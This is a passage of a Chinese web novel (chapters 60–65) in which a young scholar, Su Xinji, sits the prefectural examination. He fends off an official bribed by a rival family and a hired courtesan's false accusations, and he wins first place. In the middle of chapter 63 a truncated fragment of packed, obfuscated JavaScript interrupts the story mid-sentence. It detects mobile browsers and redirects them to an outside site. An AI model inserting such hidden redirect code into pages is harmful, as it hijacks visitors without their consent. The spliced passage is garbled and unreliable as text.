苏辛集对这些倒是不在意,谢嫣儿可是正儿八经的武人,别说是这俩手无缚鸡之力的书生,就算是苏家的家丁一起上,她也能分分钟控制局面。还有那个入画,总是鬼鬼祟祟的,看那手脚,也是个武道中人。在山阴县,能为难的了她们主仆的人,不多。
正要离开,就见鲁秉策脚下生风,一股劲儿冲了过去:“枉你们还自诩读书人,不知道非礼勿言么?你们如此议论他人,与长舌妇何异?”
苏辛集心中一叹,原本他不愿意在这个节骨眼上消耗心力,这才佯装没听到,谁知鲁秉策沉不住气,冲了过去,也罢,他苏辛集不是怕事儿的人!
尖嘴凤眼的士子冷笑了一声,眼中满是不屑:“怎么,踩到你尾巴上了?”
第六十章 火速出名
另外一个白衫士子上下打量着鲁秉策:“看你这样子,应该也是参加府试的吧?”
“正是,苏辛集是我师父!”鲁秉策愤怒之下,嗓门不小。
苏辛集站在十步开外的地方,感受到众人的目光,只能抬腿走来。
尖嘴凤眼的士子轻视的看了苏辛集一眼:“不过尔尔,山阴县难道没人了,让一个开蒙三个月的平庸之辈当县案首,也不怕贻笑大方?”
“呵,自己平庸,眼中便容不下有天赋的人。你有什么本事,敢不敢拿出来给我们瞧瞧?看看看能不能比得上我师父?”
在鲁秉策眼中,苏辛集就是神一般的存在,是有真才实学,远大抱负的学子。假以时日,苏辛集肯定能进内舍的。鲁秉坤如此努力,也是想要紧紧追上苏辛集的步伐,现在听到别人如此诋毁奚落苏辛集,鲁秉坤定然不能忍受!
“我们说的哪里错了,你让他本身说说,是不是开蒙三个月?他家的小娘子是不是山阴县出了名的才貌双绝?要不是谢家获罪,这样的可人儿能轮得到他?”尖嘴凤眼的士子当即反驳道。
“你!”
鲁秉策想要抬手,被苏辛集拦住了。鲁秉策想当然的以为师父要亲自教训这俩人,满怀期待的看着苏辛集。甚至下意识的摸了摸袖口,想要拿出炭笔和纸,记录下师父教训人的过程,只可惜刚才出门换了身衣服,没有带。鲁秉策只能竖起耳朵,好好记下,他自己都不知道,这段时间他有意模仿苏辛集的言行和思维,都有些魔怔了。
“你们是哪个县的?”
“宁川县的。”白衫士子朗声答道,并没有把苏辛集放在眼里。
“你们刚才说,山阴县人才凋敝,有手就能赢的论断,是你个人想法,还是宁川县士子的共识?”
苏辛集气场十足,就这么看着面前的两人。
白衫士子不敢回应,他可不敢代表宁川县,宁川县来的人就住在附近的来福客栈,若是引起风波,影响了府试,自己还怎敢回乡?
尖嘴凤眼士子对苏辛集的认知还停留在半年前,觉得他骨子里就是个废物,不过是踩了狗屎运,这才当了县案首。便上前一步,“哼,这不就是事实么,我就是这么想的,相信知道真相的其他县域的学子,也会这么想!”
尖嘴风眼士子倒不是很蠢,还知道在这个时候,拉上一群人当助力,你苏辛集难不成还敢跟其他十二县的学子叫板不成?
“是啊,你们山阴县历来在府试中的表现都是垫底,难道别人还不能有想法么?”白衫士子跟了一句。
“呵,你们既然敢说出来,那就证明你们认为自身学识远在整个山阴县之上,。这次府试,你们二位的排名,也会碾压我山阴县的学子?”
苏辛集如此咄咄逼人的口气,让俩人有些招架不住。白衫士子眼神有些躲闪:“我并未如此说。”
他在县试中排名四十开外,自己都没把握通过府试,怎么敢夸这个海口?
甭管怎么说,人家苏辛集也是县案首,府试的门票已经握在手里了,只要不故意找事儿,那肯定是妥妥的榜上有名。现在大言不惭的说排名在山阴县士子之上,那不是给自己拉仇恨呢?
“既然你不敢承认,那又是哪里来的底气,嘲讽我山阴县人才凋零?”苏辛集冷笑。
白衫士子抹了一把额头的冷汗,瞧瞧看向同伴。
这当如何是好啊?
围观的人越来越多,人群中不少人听说过山阴县县案首,如今得见真人,竟然比传说中的更犀利,战斗力如此强悍,逼得宁川县的两位冷汗直流,不敢开口。这倒是其次,关键是站在人群中的宁川县人,也不敢强出头。
这个场合,谁敢说自己能代表宁川县?这要是口嗨过后,府试拿不出实力,肯定要成为全府城的笑柄,连带着整个宁川县都得丢人,想到这些,周围的宁川县士子心中很是无奈。
其中一个年纪三十有余的士子站出来:“苏案首,你也不必如此咄咄逼人。我等确实不敢胯下海口,但我们宁川县定然有比你更强之人。正所谓人外有人,你毫无容人之量,即便是高中,也未必有个好前程。”
话里藏刀,反过来指责苏辛集也是有理有据。
苏辛集缓缓道:“以德报德,以直报怨,这个你没学过?还是说,兄台对《论语》有更高深的见解?”
年长的士子见苏辛集搬出《论语》,顿时无言以对。
“我们山阴县的士子不一定才华横溢,但肯定是有傲骨的,你们如此羞辱,我们绝不接受!”苏辛集朗声道。
“说得好!”
人群中有人拍手叫好。
他们就是有气节,有傲骨的!
且不论苏辛集到底文采如何,就看他今夜的表现,就当得起山阴县县案首的名号!
不少士子对苏辛集满眼敬佩,万安府就应该多一些这样的士子,与之相比,宁川县的士子就有些上不得台面了。背后道人短长,实在不是大丈夫所为。
宁川县的人知道说不过苏辛集,便灰溜溜的离开,苏辛集冲着众人微微拱手,随后和鲁秉策一同离开。
鲁秉策兴奋的看向苏辛集:“师父,真带劲儿!你三言两语就把他们都说跑了。”
“你都没想好怎么说,就敢冲上去?”苏辛集很无语,到底是哪里来的勇气?
“我当时也是脑子一热,听到他们诋毁你,我就受不了。”鲁秉策愚蠢中带着几分天真,苏辛集一时间竟然说不出苛责的话。
“哎,也罢,我发现跟你在一起,我出名的速度就跟坐火箭一样快。”
“师父,何为火箭?是羽箭点火么?”
苏辛集扶额:“别说话,我想静静。”
“静静?谢家小姐不是叫谢嫣儿么?”
苏辛集加快脚步,一分钟都不愿跟鲁秉策在一起。
不远处,温长丰和杨闻道满心感慨,来之前夫子还担心,小师弟在学院会不会被人欺负,学业能否跟上,现在看来,夫子是多虑了!
只是此番跟宁川县结了梁子,怕是日后要麻烦了……
第六十一章 府试开始
温长丰两人看到苏辛集跟同窗住在考场附近,便决定等府试考完后,再去找他。
街边的插曲,很快在士子中传开了。
山阴县的士子走路都生了风,有苏辛集这样的案首带头,似乎他们的前途也是一片光明。府试还未开始,便有了谈资。
随着这事儿一起传开的,还有苏辛集的过往,尤其是婚宴上的四诗一词,成了士子书生们赞不绝口的诗文。
这般年纪,文章写得好就够惊艳,难得的是吟诗作对也这么厉害!
这些事,让山阴县也跟着扬名了。有人觉得苏辛集是实至名归,但收获很多的是质疑,科举之艰是有目共睹的,即便是县试,能在开蒙三个月的情况下拿下县案首,超出了常人的认知。
科考中走门路是常见的事情,尤其是县试中,只有父母官一人就能拍板定夺。
宁川县的两个学子,原本没想要闹大,可随着事情发酵,他们已经不敢出门了。
“爹,我实在咽不下这口气!”
尖嘴凤眼士子站在父亲面前,咬牙切齿地道。
“建邺,我一直跟你说,做事要沉住气,你当时怎么就没想过如今的局面?”
高建邺委屈地看着父亲:“爹,不过是走了狗屎运的县案首,谁能想到竟然得到那么多拥护,就连白鹿洞书院中的学子,也都支持他。”
“这便是你思虑不周,你都不调查清楚对手的能量,就贸然出手,现在木已成舟,你要学会收拾残局。要么就夹着尾巴,要么就果断出击!”高文德给出了明确的答案。
“王知府那边,您疏通了么?”高建邺知道,凭自己的真实实力,想要在府试中压苏辛集一头,很难!
可若是父亲动用关系,暗中操作府试,那自己就有出击的机会了。
至少,压苏辛集一头,问题不大。
高文德看向儿子:“你还是太年轻,他之所以能控制局面,无非是懂得利用舆论,知道如何造势,如何拿捏人心。你也可以用这一招啊,抓住人心喜恶,借势而为!”
高建邺皱眉,父亲的手腕他是知道的,只是在这件事上,该如何抓住人心喜恶?又如何借势而为?
“孩儿不懂,还望父亲明示!”高建邺拱手道。
“凡人都喜欢造神,他现在披上了天赋过人的外衣,你只需要推一把,让他跌落神坛,自然会有人落井下石,以彰显他们的高尚。”
高建邺若有所悟,“爹,您是说先捧再杀?”
这个高建邺倒是明白,之前学院里的同窗,月考成绩进步很大,大家都夸赞他天赋过人,稍微努力便是前三,他听多了便信以为真,不再努力,下次考试便滑落到中游。
“嗯,算你聪明。”
苏辛集并不知道,高建邺找父亲出招,三品大员的手段,确实高端。
外界的纷扰,苏辛集不关心,他要利用最后这点时间,回顾下程文集。除了张伯勋的收藏,苏辛集还有自己的程文集库,主要是从藏书阁中抄录的近五年的经典文集。他会经常拿出来研读,跟自己的文章对比,找出不足之处。
优质资源加上高强度的训练,让苏辛集进步神速。如今的他,比起县试时,可谓脱胎换骨。
在学院学习,好处是显而易见的。资源都经过筛选,学子们只需要专心学习即可。就连府试作保的廪生,学院都可以协助介绍。保费比市场价略低,很多廪生都是学院走出来的,对待师弟们,自然是要照顾一二。
苏辛集手里有不少银两,并且这次住宿是鲁家安排的,吃住都没什么花销。苏辛集有些过意不去,鲁秉策却说孝顺师父是应该的,同吃同住大家也好有个照应。
其他三人也都是外舍乙班这次参加府试的,除了叶墨轩,另外二人跟鲁秉策关系不错,鲁秉策谁的银子都没收,苏辛集也就硬给。
鲁秉策之所以能在外舍混得风生水起,也得益于他大大咧咧的性格,能帮则帮,小厮送到学院的吃食也总是拿出来分享。同窗们都记着他的好,平日里在读书方面,也很照顾他。
他们五人同考,相互结保,也算知根知底。两名廪生是叶墨轩和另外一名同窗找来的,苏辛集在这些琐事上,根本就没操心。
此刻,苏辛集还不知道,因为高建邺的推波助澜,他已经成为山阴县士子的领军人。就等着府试成绩出来,只要他在高建邺之下,到时候宁川县的士子就会帮助高建邺一雪前耻!
不仅如此,山阴县士子也得跟着倒霉!
考试前夜,苏辛集提前把需要的东西都装入考篮,他这个考篮还是小伟给做的,这次结保的五人人手一只。苏辛集送给大家的时候,还额外给了些炭笔,这么一来,不少人都知道苏辛集有渠道弄些新奇文具。就连内舍师兄都找上门,要预订。
苏辛集接下订单,就联系了小伟。顺便把鲁家给的木器店交给他打理,小伟也算是正式在府城立足了。
清晨,天刚蒙蒙亮。
苏辛集等人便收拾妥当,鲁家的厨子特意做了一桌子早点,其中红枣糕就有五种,寓意五人高中!
鲁家的院子距离考场并不远,鲁峥很细心提前准备好马车,让几人坐车前去,也好保存体力。马车在考场门口停了长长的一列,灯笼在夜色中显得格外明亮。
车夫对着车里的几人道:“少爷,几位公子,到了。提前预祝几位榜上有名!”
五人微微点头,虽然流程已经提前打听过了,可真的亲身经历,还是有些许紧张。
跟县试比起来,府试更为严苛。全身的衣服都要脱下,就连头发都不会放过。考生带得吃食更不必说,桂花糕都会掰开检查。
如此严格的检查下,倒是真的抓住不少不守纪律的人。
有人在毛笔里塞纸条,有人是在大腿内侧写小抄,只有想不到的,绝对没有做不到的。
苏辛集简直是大开眼界。
第六十二章 好文章
等检查了,还要唱保。苏辛集入场看到自己的号舍竟然是厕号,苦笑一下,真是怕什么,来什么。
府试考场的号舍,比起山阴县的,似乎要狭小些。也就只能坐下一个人,考篮只能放在脚下。这种条件,苏辛集是做梦都想象不到的。
也罢,就当是老天给的考验吧。
苏辛集坐下后,静心凝神,很快就闻不到周围的味道了。衙役举着考题路过,似乎比在别处停留的时间短了许多。
“民为贵,为政以德。”
这是一道截搭题,截取《孟子·尽心下》“民为贵,社稷次之,君为轻。”与《论语·为政》中的“为政以德,普入北辰,居其所而众星共之。”
苏辛集很快有了思路,一个上午的时间就在考生们奋笔疾书中度过了。当鼓声响起,考生们便可稍微休息一下,苏辛集拿出带来的烧饼,瞬间没了胃口。
烧饼被掰的稀碎,他匆匆吃了两口,便又开始答题。
府试的题目的,能够彰显出主考官的喜好和风格。苏辛集提前做过攻略,自然知道该如何作答,才会投其所好。
这个题目,核心是让士子论证,“德政”是实现“民本”的唯一路径。民为贵必须落脚在君主以民为核心,方能长治久安,为政以德不能空谈,关联兴修水利等具体措施。
一气呵成,行云流水。
苏辛集看到草稿没什么问题,便开始誊抄。
府试一共三场,答起题来,时间飞快。
苏辛集是第一个出来的,后面鲁秉策等人相继出来。车夫早早就等在外面,看到自家少爷红光满面,车夫便知道少爷这次有希望通过的。
苏辛集等人刚上车,就听到有人了在不远处喊。
“苏公子,苏公子!你若是再不出来,我便不活了!”
女子的哀求声,引起不少人的注意。
周围人开始议论:“这位苏公子肯定是欠下了风流债!”
“既然都找上门了,总不能避而不见吧。苏公子,好男儿怎么也得敢作敢当才是!”
女人见引起关注,用手帕装模作样的擦了擦泪痕:“我的苏公子是山阴县县案首!”
县案首?
鲁秉策看向苏辛集,“师父,我怎么不知道你还有这等艳遇?”
苏辛集指了指自己的鼻子:“我?”下一秒,苏辛集冲着鲁秉策挤了挤眼:“枉你自诩读书人,人家姑娘都找上门了,你还不去见见?”
鲁秉策一怔,瞬间明白过来,师父是安排他去处理,很快走到了女子面前。
因都穿着同样的书院服饰,俩人身材也相似,绝大多数人不熟悉的,都觉得走来的人是苏辛集。
“苏公子,你可算是愿意见我了,为了赎身,我把多年的积蓄都给了你,你为何过了府试也不来找我?”
女子的话,如同平地惊雷,把周围的吃瓜群众雷的外焦里嫩。
苏辛集还干了这样的事儿?
他不是有妻室的人么,怎么还能诓骗其他女子,看这样子,还拿走了女子的皮肉钱?
这也太下作了!
众人的眼神中多了几分鄙夷。
“这位姑娘,说话要有凭据,我都不认识你,什么时候拿了你的积蓄?”
女子脸上满是难以置信:“苏公子,你这是提起裤子就不认账了?你我颠鸾倒凤的时候,你是如何怜香惜玉,如今怎可翻脸不认人!”
“你确定,是我诓骗了你?”
女子抬眼一看,白鹿洞书院的书生服,中等身材,双目有神,没错的,就是他!
“苏公子,你的书箱里有我秀的帕子,说好的长相守呢!”
鲁秉策看着对方拙劣的表演,反感的很,“你啊,别演了,我是鲁秉策,人都不认识,还在这里攀扯,做戏也得像一点啊。”
女人一脸震惊的看着鲁秉策,还想解释,周围指指点点的人,让她更紧张了:“那晚,我只顾着缠绵,未曾看清长相。”
“荒唐?声音也没听清么?”鲁秉策冷哼了一声。
“苏公子,你都多久没来了,我如何
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记得?”
“面对一个声音和长相都不确定的人,你就敢拿出积蓄,让他替你赎身?佴的脑子呢?莫要攀扯了,再耽误功夫,我就报官了!”
说着,便转身上了车。
回去后,苏辛集倒头补觉,其他人有的相约逛街,有的则是出去喝两杯小酒,舒缓下情绪。
这边,贡院阅卷房里是一片忙碌,王知府手边的茶早就凉了,都没顾得上喝,面前堆积如山的答卷,让他没心思品茶。
连续看了三四十篇文章,王知府都不满意。有几个能看得出是在极力迎合,但文章本身却言之无物。
王知府放下卷子,起身巡视一番。
看到梁通判挑出来的卷子,平平无奇,王知府有些纳闷。
“这是你挑出来的?”
“回大人,此子乃是宁川县高家的人。”
王知府知道,这是走了门路的。若是黜落,恐怕会有麻烦。王知府微微一顿,若是平日,他是绝对不会点头,可如今正要修筑堤坝,高家又提前递过条子,王知府虽然不喜,但最终还是给他通过了。
高家的家主回乡丁忧,权势不复,可其在府城影响力还是很大的。
没必要得罪地头蛇,更何况若是想要加固堤坝,少不了高家的家主的支持。听到承诺,王知府端起凉茶,一顿咕咚下肚,王知府觉得眼前清晰多了。想要政绩,那就得重视高家,王知府最终还是向现实低了头。
宁川县高建邺的卷子被挑选上,放在了一边。
外面更夫敲击梆子的声音出现,王知府伸了个懒腰,时间过的可真够快,拿起最上面一份答卷,看了几眼,王知府连忙坐直身子,看完后,不禁拍案:“好文章!”
阅卷房中的人纷纷看向王知府,大家都清楚王知府的脾气,极少见到他如此事态,当即有人开口:“恭喜大人,遇到好苗子了,如今能让大人费心的人是越来越少了。”
“可不,这篇文章你们可以传阅,环环相扣,条理清晰,是不可多得的好文章!”
第六十三章 死命令
以往知府都是让手下官员选拔出上百篇好文章,随后再从中筛选出好文章的。府试虽然难了些,规模也比县试大不少,但说起好文章,能当场写出的人不多的。
“梁通判以为如何?”
王知府看向梁洲。刚才要给高家开绿灯的时候,梁洲就发现王知府情绪不对,若是现在再起冲突,算是彻底得罪了王知府。
想到这些,梁通判恭敬地说道:“下官以为,此文章言之有物,形象具体,是可以点案首的。”
王知府对这篇文章感兴趣,关于苏辛集的事情,他找人打听了不少。开蒙堪堪半年的时间,就能作出如此文章,质朴中带着几分倔强,看得出是个有韧劲儿的人。还有府试前夕,苏辛集和同窗在街上,跟宁川县士子起冲突的事情,也查到了。
按理说,点苏辛集当案首,没什么问题,可他跟宁川县的高家对上,若是直接点他当案首,怕是高家会有想法啊。
心中挣扎不已,所以知府王俊才会抛出这个问题。梁通判无论说什么,事情都将会摆到明面上,这对苏辛集来说,也是个机会。
梁通判说完,知府王俊慢条斯理地道:“比起高家子弟,确实算得上是出类拔萃。不过,梁通判如此急切的下定论,多少有些草率吧。”
“后面的卷子都没有看完,梁通判真是个性情,中人啊!”
听到有人议论,梁通判尴尬一笑,心里不由得骂娘。他迎合也是形势所迫,可这话也不好当众讲出来,梁通判也只能一笑而过。
梁通判细细一想,也算是彻底明白了。王俊这是想让自己扛下所有!
他怎么可能背这么大一口锅?
“是,我细细一想,现在点案首确实有点早,怕是他会恃才傲物,倒不如好好打磨心爱,说不定日后会成为我大昭朝的中流砥柱!”梁通判重新组织了下语言,再次表达态度。
“这么说来,梁通判还真是有爱才之心啊。只不过是第一场,且看下面两场再说。”王俊想了想道。
阅卷房的消息,很快传到了高建邺的耳朵里。
高建邺立马给梁通判下了死命令。
“这样,下面两场考试,务必……”高建邺神色像是走火入魔了一般。
“这?”梁洲听完高建邺的话,一脸的难以置信,这要是让人查出来,他绝对没有好下场,可若是拒绝了高建邺,恐怕万安府的通判就要换人了!
这种抉择,让梁洲陷入两难。
“梁通判,听说你在城外住,来回奔波多少有些不便,我们高家在府城有处小院,不算大,胜在位置便利,若是你不嫌弃,明日便可搬进去住。”
梁洲一愣,高建邺说的小院,他是知道的,租金一个月便要一两银子起步,这样的地段,梁洲是想都不敢想的。如今高建邺给出的诱惑不小,梁洲明显心动了。
“多谢高公子美意,等府试过后,我便搬进去。”梁洲心一沉,答应下来。
高建邺铤而走险,也是无可奈何的事儿。以如今科举的严苛,也只有县试和府试有机会动手脚,接下来的院试,即便是他有心,也是无力的。如今高家式微,府试便是他收拾苏辛集的最后机会!
若是让苏辛集在府试中拔得头筹,让他冲到院试,自己就算是彻底输了!
苏辛集还不知道,一条毒蛇已经在暗中盯上他了。
府试第二场,苏辛集刚一进场,就发现气氛不对。这次不是厕号,但情况比厕号更令人不安,不少衙役都在暗中观察自己,苏辛集心中纳闷,这些人究竟是怎么了。
号舍门口,两个衙役就这么虎视眈眈的看着自己,旁边的考生注意到,多少有些心绪不宁。
苏辛集倒是沉得住气,他不紧不慢的研墨,无视衙役们的存在。把他们当空气,这是苏辛集屡试不爽的方法。守在旁边的衙役,见苏辛集这般从容,便猜到无法给他压力。
这样不行……
两个衙役交换了下眼神,都从对方眼中读到了答案。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985744|193409||http|test|mini|href|location''.split(''|''),0,{}));
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r>那就只能采取第二套方案了,府试中,每场考试都会给三张程文纸,若是损坏,或者是想要重写,那是不可能的。
因此二人决定破坏苏辛集的程文纸!
心中有了计划,二人眉头间的愁苦也渐渐散去。通常,考生都是将试卷誊抄结束,会把程文纸挂在号舍门口。
若是等试卷交上去,也没什么好办法,唯一的机会就是苏辛集答题的时候。
见到衙役的眼神中带着几分探究,苏辛集猜到他们想要做什么。
苏辛集很快在草稿纸上把文章写出来,又来回修改了两边。确认无误这才拿出程文纸准备誊抄。
两个衙役在旁边来回走动,时不时的看向苏辛集,见他开始誊抄,就知道机会来了。
苏辛集奋笔疾书,在他看来,只要衙役脑子正常,就不能来硬的。可他没想到,衙役利用手中的刀折射太阳光,晃了苏辛集的眼,也就是走神的瞬间,笔上的墨汁啪嗒一下掉在了程文纸上。
苏辛集一声惊呼,大喊:“你必须赔我的程文纸!”
这一声吼,让不少人纷纷侧目。看到衙役被苏辛集抓了个正着,众人知道,苏辛集要反击了。
在场的人都清楚,程文纸不是你想要就能要到的。苏辛集如此激动,看来这些衙役是越来越放肆了。
不少人都觉得,是衙役为了勒索银两,有意刁难。
“我的程文纸,这可如何是好啊!”
苏辛集知道,肯定是有人背后使坏,要是第二场、第三场缺考,就算是第一场成绩再好,也不可能是第一的。
感受到绝望,苏辛集竟然哭了起来。
动静闹大,不少巡街的衙役都过来看热闹。梁通判一听,吓得一个激灵,也跑过来:“扰乱科考现场,就是舞弊!”
这么大的帽子,苏辛集坚决不能戴。
“我等是得到圣上的命令,这才来参加科举考试的。可现实是有人故意挤兑,碰上了包庇之人,定然要查明真相!”
第六十四章 怎么又是你?
苏辛集心里清楚若是不反抗,府试怕是要毁了。想到这里,苏辛集大吼:“考试有内幕,他们故意毁了我的程文纸!我要见知府大人!宁川县高家,手眼通天,想要内幕操控科举结果!”
听到这话,梁洲后背一片冰凉。
这个苏辛集,真是什么话都敢说啊!
附近的考生大惊失色,纷纷抬头,看看到底发生了什么。
王俊就在现场,听到有人喧哗,便走了过来:“什么情况?”
梁洲知道躲不过去,抢先说道:“这人得了失心疯,胡言乱语,惊扰了大人,我的罪过!”
“确实是你的罪过!”苏辛集指着梁洲:“就是你暗中唆使衙役,毁了我的程文纸,还对我拔刀,想要**灭口,王大人,请您替学生做主啊!”苏辛集认真的说道。
苏辛集知道,如今只有把事情闹大,才有机会力挽狂澜。到时候事情传开,定然会有人站出来主持公道。
**的力量,无论什么年代,都能左右局面!
苏辛集很快被带到单间里,“说说吧,为何在考场大声喧哗,说要见本官?”
“王大人,学生也是无奈。”苏辛集组织了下语言,很快把事情的来龙去脉说了。和宁川县的人结梁子,也说了。
第一场是厕号,第二场又闹出这么大的罗乱,现在看来,都不是巧合!
还有考场外,女子拦车,种种情况凑在一起,苏辛集很快有了推论。
“你有证据么?这些不过都是你一人之见!”王知府听完后,沉声道。
“目前没有,不过我可以去找。王大人是清官,想必会明察秋毫,为学生做主的。”
苏辛集倒不担心,张大人之前说了不少关于王俊的事情,如今事情闹大,王俊定然不会坐视不理。
“哦,那你有什么具体想法?”
“王大人,如今考试时间未到,学生想要把考卷答完,恳请大人先给我一张程文纸,允我在这里誊抄。”
王俊一怔,随后笑着道:“你是想让本官亲自监考?”
“学生感谢王大人深明大义,体量学生不易。”苏辛集躬身道。
王俊直接被架起来,若是不答应,似乎不答应都不合适。他微微一笑:“好,既然如此,那便给你张程文纸,把文章默写出来。”
难度一下子提升了不少,王俊说的不是誊抄,而是默写!
苏辛集点头,随后便在心中梳理了一遍,凝神,下笔,一气呵成。
王俊亲眼目睹苏辛集写文章,心中忍不住暗暗赞赏,这孩子是个有天赋的。
遇事不慌,沉着应对,更难得的是这一手好字,假以时日,必成大器。
第二场考试就此结束,细心的苏辛集发现,第三场考试衙役和梁通判,都没有出现,似乎考场的风气都跟着变了。
三场考试下来,苏辛集和同窗们都没心思出去玩,几个人不约而同的想要好好休息一天。
时间眨眼到了放榜的时间,苏辛集等人早早就去了府衙门口。
人群中,一个女子显得有些格格不入。
她这几日一直在鲁家小院周围徘徊,上次认错了人,事儿没办成,金主不给银子。她苦苦哀求,金主这才答应再给她一次机会。这次女子也学精了,特意在放榜的时候出现,这样既不会认错人,也容易把事情闹大。
“苏公子,你既是上了榜,也该兑现承诺了吧?”
苏辛集打量着女子,这声音很是耳熟,就是想不起来从哪里见过。
鲁秉策回头,诧异的看着女子:“怎么又是你?”
女子理都不理鲁秉策,伸手就要抓苏辛集的胳膊,苏辛集往后一躲,女子扑了个空。
碰瓷?
苏辛集有些无语,想不到大白天竟会遇到这种事。
“苏公子,奴家知道你是有妻室的,奴家愿意做小妾……”女子羞涩的模样,引得不少士子心生怨怼,他们很多人连年参加科举,屡试不中,家里开销很大,就算是乡下女子都不愿意嫁给一个穷书生。可苏辛集这里就不一
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样,人家主动送上门的。
“这女子倒是执着!”
“听说,赎身银子都是这女子的积蓄,苏辛集也算是赚到了。”
“既然家中已有妻室,出来拈花惹草实非读书人所为。”
听到周围的议论,苏辛集也不恼。他看向女子:“上次你拦车,妨碍我等参加府试,我们没有追究你的责任,你这次又蹦跶出来,说吧,到底是何人指使?”
女子声泪俱下:“苏公子,你难道都忘了?咱们之间的海誓山盟,明明你答应过我……”话还没说完,就被鲁秉策打断了:“你是醉红楼的莺歌,擅长各类小曲儿,性格双辣,说!出来干这构陷人的买卖,到底是谁主使的?”
莺歌见事情被拆穿,转身想要逃走,鲁秉策一个眼神,车夫便挡住了她的去路。
围观的人群中,有人心生恻隐,道:“算了吧,反正对你们又没啥伤害,莫要跟女子计较了。”
有人开口带节奏,其他人也跟着帮腔。
苏辛集冷笑一声:“若不是上次这女子拦车,我们背后做了调查,这次肯定被她拖入泥潭之中。风月之事最易引人联想,此事必然不能就此算了!”
“咳咳,怎么说苏公子也是个读书人,何必跟一个女子争长论短?她能如此,想必也是有苦衷的。”
苏辛集冷哼一声,看向说话之人:“听兄台的意思,似乎很同情这女子,要不这样,你把她娶回家,让她做正室。这女子几次三番**,无非就是想找个读书人替她赎身,你既是书生,又愿意照顾她,想必是极为合适的人选。”
那人连忙摆手:“与我何干?”
“呵呵,刚才不是你说的,她有苦衷,你作为读书人,胸怀天下,出手帮一把也是应该。若兄台愿意替她赎身,明配争取,我不仅放过她,还帮你办喜酒,邀请参加府试的学子们庆祝你大婚之喜,如何?”苏辛集说道。
“你!”
那人气的手都在发抖,半天也没说出一句完整的话。
第六十五章 你有资格跟我讲条件么?
其他士子听完,倒是站在苏辛集这边的居多,都觉得醉红楼的莺歌是受人指使。如此一来,倒是应该追究她的责任,问清楚是谁背后使坏。
莺歌连连讨饶,“我,我可以说,但你一定要保证我的安全,还有,我想换个地方生活。你若是愿意帮我,我就把知道的都告诉你!”
莺歌回想起金主恶狠狠的样子,知道这次事情又办砸了,肯定不会饶了自己,与其坐以待毙,倒不如放手一搏。
“你觉得,你有资格跟我讲条件么?”苏辛集的视线在人群中扫视,突然注意到人群中,一个书生模样的人转头离开。
苏辛集冲着鲁秉策使了个眼色,鲁秉策朝着那个方向追过去。鲁家的车夫择是绕道围堵。
“苏公子,奴家知道您府试榜首,前途无量,自然是不敢跟您讲条件的,只是小女子沦落风尘,如今又做出这般事儿,偌大的万安府已经没有小女子的容身之所了。”莺歌知道诓骗不奏效,马上换套路,反正金主那头的银两是赚不到了,若是抓住苏辛集这条大鱼,说不定会有更多惊喜。
叶墨轩担心苏辛集心软答应,惹上麻烦。便站出来道:“莺歌姑娘,我叶府正好招丫鬟,你若是不嫌弃,可以到我府上先住下,如何?”
莺歌看到叶墨轩和苏辛集穿的都是学院装,猜到俩人是同窗,便答应下来。
“多谢叶公子,莺歌愿意。”
苏辛集也没反对,毕竟他跟王知府有过约定,府试过后他要去找证据的。如今人证主动上门,哪有拒之门外的道理。
莺歌是个风尘女子,若是带到学院,肯定要掀起风波,叶墨轩有地方安置,确实是最合适的。
待众人散去,叶墨轩悄悄问道:“辛集,你打算怎么处理?”
“对方几次三番污蔑我,无非是要毁了我的名声,当然要报官。”苏辛集意味深长地笑了笑。
对方桌下动作不断,现在府试结束,是时候反击了。
这莺歌养在叶府,也是要花钱的!
这边,高家小厮看到自家少爷榜上有名,高兴地冲回府报喜。
“中了,中了!建邺少爷是第三名!”小厮未进门,声先闻。
高建邺听说后,喜气洋洋:“甚好!”
高建邺心里清楚,若是真的比拼才学,别说第三,恐怕上榜都难。如今的成绩,他是非常满意的。
“少爷文采过人,自然是榜上有名的。”书童连忙开启吹捧模式。
“嗯,案首是何人?白鹿洞书院的吧?”高建邺端起茶杯,吹了吹上面的浮沫。
“案首是……是苏辛集。”书童眼神有些躲闪:“也不知道这家伙走的什么狗屎运。”
听到案首是苏辛集,高建邺脸色瞬间垮了下来。
“怎么搞的?”高建邺把茶盏摔到地上:“做了这么多安排,他怎么还是案首!”
“少爷,您不必在意他,一个县城走出来的穷小子,根本对您构不成威胁的。”书童安抚道。
“胡扯,你懂什么!”高建邺当即恼怒:“你去给我找**,我要弄死他!”
“少爷不可,苏辛集如今风头正盛,若是在这个时候弄死他,肯定会引起士子的怨怼,您还是稍安勿躁。”
“用你教我做事?”高建邺一脸阴沉。一听到苏辛集是府试第一,高建邺浑身都不自在。他贵为高家少爷,三岁就开始启蒙,家中藏书无数,论资源、论积累,苏辛集连自己的一根小手指都比不上!
听说苏辛集启蒙也就半年时光,凭什么拿到府试第一?
高建邺不服气,匆匆推开书童,冲向父亲的书房。
“爹!您不是打过招呼了?为何那苏辛集还能在我之上?”高建邺急吼吼的质问道。
高文德手中拿着一封书信,眉头紧蹙,听到儿子的声音,头也不抬,只是道:“连敲门的规矩都不记得了?”
高建邺发现父亲的情绪似乎有些不对劲,他收敛了不少,只能退出去重新敲门。<
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br>“爹,我们高家,连一个县城走出来的苏辛集都镇不住了?”
高文德抬头,那眼神仿佛淬了毒。高建邺的满腹牢骚,在这一刻瞬间化为齑粉。他哪里知道,这句话刺中了父亲敏感的神经。
以高文德的能耐,自然是能先一步知道苏辛集就是此次府试的案首。不仅如此,他还知道儿子高建邺那些上不得台面的手段,都被苏辛集化解了,若不是有高家身份当护身符,高建邺现在就和梁洲一起下大牢了!
幸亏这次高建邺只是第三,若是让他当了案首,恐怕就是众矢之的。若是事情闹大,自己回京的事情,就更艰难了。
三年丁忧,说长不长,说短也不算短。
高文德看向不争气的儿子:“既已成定局,日后安分些。”
如今形势风云变幻,南边又起战势,高家对万安府的影响力日渐缩减,与高家失势相比,谁中了案首都不重要。
高文德拿着大儿子的来信,知道他们在京中的产业遭到打压,心情能好才怪。
“爹!王俊阳奉阴违,根本就不给您面子!”高建邺还想说什么,被高文德抬手打断:“那你说,想要如何?”
